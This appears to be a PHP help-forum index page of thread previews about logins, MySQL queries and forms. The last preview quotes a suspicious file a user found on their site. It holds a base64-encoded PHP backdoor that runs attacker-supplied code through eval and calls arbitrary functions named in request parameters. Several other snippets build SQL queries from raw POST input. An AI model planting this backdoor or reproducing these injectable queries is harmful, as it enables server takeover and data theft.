39,321 Topics

Member Avatar for
Member Avatar for spowel4

I'm posting 20 usernames and 20 passwords, they're named username1 ... username20 and then password1 ... password20. In the page that processes the posted values I have an array like this: [CODE] $postArray = array( *** * other values in array *** $userName1 = $_POST['userName1']; $password1 = $_POST['password1']; * * …

Member Avatar for shovels
0
209
Member Avatar for himanshu.1691

I have a project in which i have two roles : Student Teacher I have already created a login page but i cant figure out how to redirect them to different pages according to their Roles...

Member Avatar for broj1
0
132
Member Avatar for seemeamal

[CODE]<?php //update has an error! ?> <?php include("lock.php");// contains session details $connect=mysql_connect("localhost","root",""); mysql_select_db("login",$connect); if(isset($_POST[""])){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; $total_students=$_POST["total_students"]; $regulation=$_POST["regulation"]; } //------------------------------------------------------------------------------------------------------------------ if(isset($_POST["insert"])){ if($_POST["insert"]=="yes"){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; $total_students=$_POST["total_students"]; $regulation=$_POST["regulation"]; $query="insert into classprofile(dept_name,year,current_sem,total_students,regulation) values('$dept_name','$year','$current_sem','$total_students','$regulation')"; if(mysql_query($query)) echo "<center>Record Inserted!</center><br>"; } else{ echo"not inserted, try again"; } } //------------------------------------------------------------------------------------------------------------------- if(isset($_POST["update"])){ if($_POST["update"]=="yes"){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; …

Member Avatar for GliderPilot
0
121
Member Avatar for saadi06

Hi, I am stuck with a problem.I have an array that contains dates and I want to get the date ranges from this array. For example array('01/01/2012','01/02/2012','01/03/2012','01/05/2012','01/10/2012') Now I want the date range from this array And the dates are not sorted in array. Can anyone help me its quiet …

Member Avatar for veedeoo
0
166
Member Avatar for dushtu.bor

Please tell me why it gives me always zero value? [CODE]<?php $total =0; $memid = $_POST['username']; $leg = $_POST['leg']; mysql_connect ("host", "usr", "paswd") or die ('Error: ' .mysql_error()); mysql_select_db ("dbname"); function getTotalLeg($memid,$leg){ $sql="select $leg from `users` where `username`='$memid' "; $res=mysql_query($sql); $row=mysql_fetch_array($res); global $total; $total = $total+mysql_num_rows($res); if($row['$leg']!=''){ getTotalLeg ($row['$leg'],'lname'); getTotalLeg …

Member Avatar for dushtu.bor
0
180
Member Avatar for acel216

Hello, I just made my web in localhost, everything was just fine until I updates my xampp to newer version. And my web now is on a mess. [CODE] <br/> <div class="headerStyle"> </div> <?php $result = mysql_query("SELECT * FROM kategori_berita") or die(mysql_error()); echo '<ul>'; while ($data=mysql_fetch_array($result)){ if ($_REQUEST['catid']==$data['id']) echo '<li …

Member Avatar for GliderPilot
0
92
Member Avatar for Buppy

Hi, I have a form with input type="file". On every browser it works fine, however on IE8 and older it just does not upload anything. If i leave the form empty, all other form data is being passed successfully, but if i select the file, there seems no data passed …

Member Avatar for pzuurveen
0
47
Member Avatar for JukesK

Hey got a big issue i need to resolve if i have a table that records two distinct values entered by user.. NC001 OR TE001 Equipment_id | Serial | location -------------------------------- NC001 | if i have a php based form how can i tell it that if a user select …

Member Avatar for smantscheff
0
196
Member Avatar for sammry

I am trying to generate a list of urls for the tags people who have submitted while posting their information. Data gets saved in mysql table as tags and the value comes with comma for multiple words, for example: tag1, tag2, tag3 abd saved as is in a single field. …

Member Avatar for veedeoo
0
192
Member Avatar for extjac

Hi there, i am trying to use the classes proplery and i have a basic question....The following is the class i am using in order to get information from the DB...It is workinkg and i dont have any problem. But the question is how do i show the information on …

Member Avatar for veedeoo
0
132
Member Avatar for baig772

Hi all I am working on a website and the requirement is to make it in two languages i.e. icelandic and english. just like facebook and other google, if a user selects a language, then the site is translated in that language. I am not allowed to use google translator. …

Member Avatar for diafol
0
123
Member Avatar for gopi17

heyy guys....i manage to connect to diff database in a single form...but how do i compare the value... for eg. now i would to compare invoice_no for the both of them [CODE] $host="localhost"; // Host name $username=""; // Mysql username $password=""; // Mysql password $db_name="test"; // Database name $tbl_name="test3"; // …

Member Avatar for veedeoo
0
87
Member Avatar for Motifaithed

Hi All, I'm working on a database wherein I want to input the current date into existing table upon the user enter his pin. I'm having a hard time to make it work here is my code. [CODE] <?php $result="SELECT * FROM profiletable WHERE (firstName='$_POST[assetSearch]' || lastName='$_POST[assetSearch]' || IDNumber='$_POST[assetSearch]')"; $q …

Member Avatar for veedeoo
0
179
Member Avatar for aianne

Sorry I'm new to these stuff but I am having a hard time about this. So I'll trying to create a php and mysql program which can view records from database server. In my form I have 2 dropdown list and 2 submit button, the first one the the list …

Member Avatar for aianne
0
871
Member Avatar for HasNor

hi all... i have a problem when my boss ask me to do something that i don't know how to do it.. i need the idea for increment ID that will count by date.. For example today is 7/3/2012,user send request then id become AB-070312-1, user send other request at …

Member Avatar for HasNor
0
159
Member Avatar for nexocentric

Before I post my problem I would like you in advance for taking the time to read this. I've been using simpletest to help me develop and test my php scripts. I'm currently working on a session class and when I go to test it I get the following exception …

Member Avatar for nexocentric
0
235
Member Avatar for mlhazan

I spent almost whole evening to understand the following code: [CODE] <?php $link = mysql_connect('localhost', 'root', 'root'); if (!$link) { die('Could not connect: ' . mysql_error()); } $db_selected = mysql_select_db('database_1.1'); if (!$db_selected) { die('Could not select database: ' . mysql_error()); } $query = 'SELECT last_name, first_name FROM Employee'; $result = …

Member Avatar for scaiferw
0
131
Member Avatar for caltech

Hey, I'm building a website for this business, using HTML, CSS, PHP and AJAX for dynamic content. I'm trying to make a page which will display the thumbnail of each profile image, and have each thumbnail link to the corresponding profile. How exactly I can go about executing this, I'm …

Member Avatar for caltech
0
152
Member Avatar for bflack

I've created this function and I wonder if ever I COULD USE VARIABLES IN reading column values on database table. [CODE] function vote($column, $imgid)//the $column stands for a variable handling a string I've passed from my previous call. For now I am setting it as a string named "likes" which …

Member Avatar for scaiferw
0
127
Member Avatar for programmer12

Hi I created some codes to upload my videos on the website, but for some reason it stopped working. Can Someone please help me debug the issues thanks! [CODE]<?php $username = "root"; $password = ""; $hostname = "localhost"; $database = "name_of_database"; $db = mysql_connect($hostname, $username, $password); mysql_select_db($database, $db); $path = …

Member Avatar for veedeoo
0
163
Member Avatar for sess4561

hi guys, how are you? I hope someone can help me with this as its been bugging me all day, and I'm sure there is a very simple explanation. Basically, what I have at the moment is this:- [CODE] $ip = ($_SERVER["REMOTE_ADDR"]); $xml = file_get_contents("http://xxxxxxxxxxxxxx); [/CODE] This returns me the …

Member Avatar for veedeoo
0
181
Member Avatar for whit89

Im trying to compare an entered value in a drop down box to see if an asset is available for use. At the moment its is From - Duration - Could i be better with From - To- Which would be easier to implement. Ive attached what i have so …

Member Avatar for diafol
0
264
Member Avatar for whit89

how would i go about filling one multi-select box with the result of a previous one [CODE] <select value ="cars" name="cars[]" multiple="multiple"> <option value="">-- Select software type / Optional / --</option> <option value="suv" >web</option> <option value="sports" >design</option> <option value="utility" >misc</option> <select value ="cars" name="cars[]" multiple="multiple"> $option .= '<option value="">-- CARS--</option>'; …

Member Avatar for whit89
0
128
Member Avatar for himanshu.1691

I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value …

0
58
Member Avatar for mackyflores

[ICODE]Help me please. I want to display specific data from the database. i dont know what is the code. For example: in the database of reservation. I want to display only the name, address, contact number, company, and the details of his/her reservation. please help me guys. thanks a lot. …

Member Avatar for sDJh
0
77
Member Avatar for programmer12

Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can …

Member Avatar for programmer12
0
200
Member Avatar for shamed

Hello, I have this multiple checklist and I cannot figure out how to enter the checked values into the database. The table is called "colors" and the column name is "color" and is of type "text". add_color.php [CODE] <?php // connect to database require "mysql_connect.php"; ?> <?php // get value …

Member Avatar for pritaeas
0
121
Member Avatar for swilliamrobert

Hai, I downloaded and install sugar crm in my localhost.Inside the folder there is soap.php. when i run the file, all functions and wsdl file there. I want to create on soap client and access the WSDL url using my localhost. this is WSDL file URL( http:/localhost/scrm/soap.php?wsdl ) I want …

Member Avatar for pritaeas
0
240
Member Avatar for trektrak

I'm totally new with ajax and js... and I know this is possible. I've created a php table page... I would like to see the page refresh everytime I insert new data to my sql database. I know I can do this using header refresh on the php page itself.. …

Member Avatar for pritaeas
0
61
Member Avatar for slyme

I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ …

Member Avatar for slyme
0
259

The End.